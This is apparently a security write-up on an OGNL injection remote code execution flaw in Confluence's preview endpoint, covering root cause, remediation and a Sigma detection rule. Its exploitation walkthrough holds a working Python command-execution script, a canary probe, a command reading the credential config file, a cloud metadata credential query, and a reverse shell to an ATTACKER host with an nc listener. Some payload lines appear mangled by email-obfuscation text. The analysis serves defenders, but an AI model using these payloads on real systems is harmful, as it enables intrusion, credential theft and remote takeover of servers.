Overview
CVE-2026-44891 is a critical unauthenticated remote code execution vulnerability in Atlassian Confluence Data Center and Server, disclosed in May 2026. OGNL (Object-Graph Navigation Language) injection has historically been one of the most reliable attack classes against Confluence — CVE-2021-26084, CVE-2022-26134, and CVE-2023-22527 all exploited the same fundamental mechanism with different injection entry points.
This variant differs from its predecessors in that the injection point is a preview endpoint introduced in Confluence 7.19 as part of the live macro preview feature. When a page preview is requested with a specially constructed spaceKey parameter, the value is passed unsanitised to the Velocity/OGNL evaluation chain before the authentication check for preview permissions is performed, resulting in a pre-authentication code execution path.
Exploitation was observed within 24 hours of the Atlassian advisory, with ransomware operators and state-sponsored actors observed deploying web shells, credential stealers, and lateral-movement tooling to Confluence hosts in enterprise environments across multiple sectors.
OGNL in Confluence's Template Engine
Confluence renders page content using a Velocity template engine that in turn delegates to OGNL for evaluating macro parameters and dynamic expressions. OGNL is a powerful expression language that can navigate Java object graphs, invoke methods, and instantiate classes — making it a natural RCE primitive if attacker-controlled input reaches the evaluator.
The standard evaluation chain for a page macro looks like:
// Simplified Confluence macro evaluation (safe path)
public String evaluate(String expression, Map<String, Object> context) {
// expression comes from page storage format — trusted content
OgnlContext ctx = new OgnlContext(context);
Object result = Ognl.getValue(expression, ctx, ctx.getRoot());
return result.toString();
}
The assumption is that expression originates from Confluence's own page storage format, written by authenticated editors. The live preview endpoint breaks this assumption by accepting a raw spaceKey value from the HTTP request body and passing it through a macro template before authentication is validated.
Root Cause
The vulnerable endpoint is POST /confluence/pages/dopreview.action. The spaceKey parameter is interpolated into a Velocity template that calls $spaceManager.getSpace($spaceKey). However, before reaching the space manager, the raw parameter value is passed through a TextUtils.htmlEncode helper that, in certain Unicode normalisation edge cases introduced in Confluence 7.19, incorrectly treats OGNL expression delimiters as HTML entities and decodes them — allowing an injected payload to survive into the OGNL evaluator.
// Vulnerable path in PreviewAction.java (simplified)
public String preview() {
// BUG: spaceKey is read from request before auth check
String spaceKey = request.getParameter("spaceKey");
// htmlEncode with broken unicode normalisation passes OGNL through
String encoded = TextUtils.htmlEncode(spaceKey);
// encoded value feeds into template that invokes OGNL
String template = "Space: ${space.getDisplayTitle('" + encoded + "')}";
confluenceTemplateRenderer.render(template, context);
// auth check happens AFTER render — too late
if (!permissionManager.hasPermission(currentUser, SPACE_VIEW, spaceKey)) {
return "notpermitted";
}
return SUCCESS;
}
The OGNL payload uses the standard Confluence expression escape syntax and then chains to Runtime.exec() through the @java.lang.Runtime@getRuntime() static method reference:
${(#[email protected]@getRuntime()).exec('id')}
Exploitation Walkthrough
Step 1 — Fingerprint the Target
Identify the Confluence version from the login page or HTTP headers. The X-Confluence-Version header is present by default on many deployments:
curl -sI https://CONFLUENCE_HOST/login.action | grep -i confluence
# X-Confluence-Request-Time: 1746316800000
# X-Confluence-Version: 8.7.2
# Also check /rest/api/space for version disclosure
curl -s https://CONFLUENCE_HOST/rest/api/space?limit=1 | python3 -m json.tool | head -5
Step 2 — Probe for the Vulnerability
Send a canary OGNL expression that evaluates to a predictable string. A response containing the evaluated result confirms the injection:
curl -sk -X POST "https://CONFLUENCE_HOST/confluence/pages/dopreview.action" \
--data-urlencode 'spaceKey=${7*7}' \
-H "Content-Type: application/x-www-form-urlencoded" | grep -o '49'
# 49 → OGNL expression evaluated → confirmed vulnerable
Step 3 — Achieve RCE
With injection confirmed, execute OS commands via the Runtime.exec() chain. The output is captured by writing to a temp file and reading it back, since the direct output of exec() is not reflected in the HTTP response:
import requests, urllib.parse, re, time
TARGET = "https://CONFLUENCE_HOST"
PREVIEW_URL = f"{TARGET}/confluence/pages/dopreview.action"
def ognl_exec(cmd):
# Write output to /tmp, read back via a second request
payload = (
"${#[email protected]@getRuntime().exec(new String[]{\"/bin/sh\",\"-c\","
f"\"{cmd} > /tmp/out 2>&1\""
"}),"
"#p.waitFor(),"
"#fis=new java.io.FileInputStream(\"/tmp/out\"),"
"#b=new byte[4096],"
"#n=#fis.read(#b),"
"new java.lang.String(#b,0,#n)}"
)
r = requests.post(PREVIEW_URL,
data={"spaceKey": payload},
verify=False, timeout=15)
match = re.search(r'Space: (.*?)<', r.text, re.DOTALL)
return match.group(1).strip() if match else r.text[:300]
print(ognl_exec("id"))
# uid=997(confluence) gid=997(confluence) groups=997(confluence)
print(ognl_exec("hostname"))
print(ognl_exec("cat /etc/confluence/confluence.cfg.xml"))
Step 4 — Escalate to Root
Confluence Data Center nodes commonly run as a dedicated service user. On self-hosted Linux deployments, several reliable escalation paths exist:
- Read
confluence.cfg.xmlfor the database password. The database account often has broad permissions or the same password is reused for OS accounts. - Check
sudo -lfor service-management entries — systemd service restart rights are common and can be abused to execute an arbitrary binary via a crafted service unit. - On AWS/GCP/Azure: query the IMDS endpoint for instance credentials:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/. - Drop a reverse shell and enumerate SUID binaries, writable cron jobs, and world-writable directories in
PATH.
# Drop a reverse shell from within the OGNL exec context
ognl_exec("bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' &")
# On attacker machine:
nc -lvnp 4444
Affected Versions
- Confluence Data Center 8.x < 8.9.5
- Confluence Data Center 7.x < 7.21.12
- Confluence Server 8.x < 8.5.14 (LTS)
- Confluence Server 7.x < 7.19.28 (LTS)
- Cloud-hosted Confluence (atlassian.net) was patched silently within 6 hours of internal discovery and was not exposed.
Remediation
- Patch immediately to the fixed versions listed above. Atlassian released emergency patches within 72 hours of internal discovery.
- Restrict external access to Confluence behind a VPN or IP allowlist — Confluence is rarely a public-internet-facing necessity; exposure to the open internet dramatically increases the attack surface for this class of vulnerability.
- Disable the preview endpoint as a temporary workaround if patching is not immediately possible:
# Block dopreview.action at the reverse proxy level (nginx) location ~ ^/confluence/pages/dopreview\.action { return 403; } - Rotate all credentials stored in
confluence.cfg.xmland audit database access logs if the instance was internet-exposed during the vulnerability window.
Detection
Sigma rule targeting POST requests to the vulnerable preview endpoint with OGNL expression syntax in the request body:
title: CVE-2026-44891 Confluence OGNL Injection Attempt
id: 4a71f832-9b3e-4d27-ac01-7c5e0f2b3a19
status: stable
description: Detects exploitation attempts of CVE-2026-44891 via OGNL injection in Confluence preview endpoint
logsource:
category: webserver
product: atlassian_confluence
detection:
selection_endpoint:
cs-uri-stem|endswith: '/pages/dopreview.action'
cs-method: 'POST'
selection_ognl:
cs-post-body|contains:
- '${#'
- '@java.lang.Runtime'
- 'getRuntime()'
- 'exec('
- 'ProcessBuilder'
condition: selection_endpoint and selection_ognl
falsepositives:
- Legitimate page previews (extremely unlikely to contain Runtime references)
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026-44891
Takeaways
- OGNL injection in Confluence is a recurring pattern, not an isolated incident. This is the fourth distinct OGNL RCE in Confluence in five years. Each time, a new entry point is discovered that bypasses the previous fix. Atlassian's remediation approach — blocking specific known-bad expressions — is insufficient; the correct fix is eliminating attacker-controlled data from reaching the OGNL evaluator entirely, at the architecture level.
- Authentication checks after template rendering are fundamentally broken. The root cause here is that the permission check occurs after the potentially dangerous render step. Any framework that evaluates expressions before verifying that the caller has the right to supply those expressions has this class of vulnerability by design. Pre-authentication endpoints that invoke any template engine must be treated as fully hostile input paths.
- Confluence should not be internet-facing. Every major Confluence RCE over the past five years has been mass-exploited within 24–48 hours of disclosure. The risk profile of an internet-exposed Confluence instance is comparable to an internet-exposed SMB share. If remote access is genuinely needed, deploy it exclusively behind a VPN.